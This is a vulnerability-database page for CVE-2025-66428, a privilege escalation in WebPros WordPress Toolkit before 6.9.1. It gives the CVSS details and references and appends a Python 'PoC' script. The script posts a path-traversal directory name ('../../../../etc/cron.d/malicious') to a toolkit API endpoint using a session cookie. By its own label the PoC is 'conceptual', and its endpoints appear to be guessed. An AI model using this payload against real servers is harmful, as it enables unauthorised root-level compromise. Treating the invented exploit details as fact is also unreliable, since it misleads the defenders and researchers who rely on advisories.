CVE-2025-66428

Description

An issue with WordPress directory names in WebPros WordPress Toolkit before 6.9.1 allows privilege escalation.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WebPros WordPress Toolkit < 6.9.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-66428 PoC - WordPress Toolkit Privilege Escalation
# Note: This is a conceptual PoC for educational purposes only

import requests
import json

TARGET = "https://target-server:8443"
CVE_ID = "CVE-2025-66428"

def check_version(target):
    """Check if target is vulnerable"""
    endpoint = f"{target}/wordpress-toolkit/api/version"
    try:
        response = requests.get(endpoint, verify=False, timeout=10)
        version = response.json().get('version', '')
        # Vulnerable if version < 6.9.1
        return version
    except:
        return None

def exploit_privilege_escalation(target, session_cookie):
    """Exploit the directory name privilege escalation"""
    # Step 1: Create malicious directory name with path traversal
    payload = {
        "action": "clone",
        "source_domain": "victim.com",
        "target_domain": "attacker.com",
        "directory_name": "../../../../etc/cron.d/malicious"
    }
    
    headers = {
        "Cookie": session_cookie,
        "Content-Type": "application/json"
    }
    
    endpoint = f"{target}/wordpress-toolkit/api/v1/instances"
    response = requests.post(endpoint, json=payload, headers=headers, verify=False)
    
    return response.status_code == 200

if __name__ == "__main__":
    print(f"Testing {CVE_ID}")
    version = check_version(TARGET)
    if version:
        print(f"Detected version: {version}")
        print("Vulnerability check: Upgrade to 6.9.1 or later")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66428
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66428
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66428/
[4] VulDB https://vuldb.com/cve/CVE-2025-66428
[5] https://docs.plesk.com/release-notes/obsidian/change-log/#wordpress-toolkit-6.9.1

Raw JSON Data

JSON

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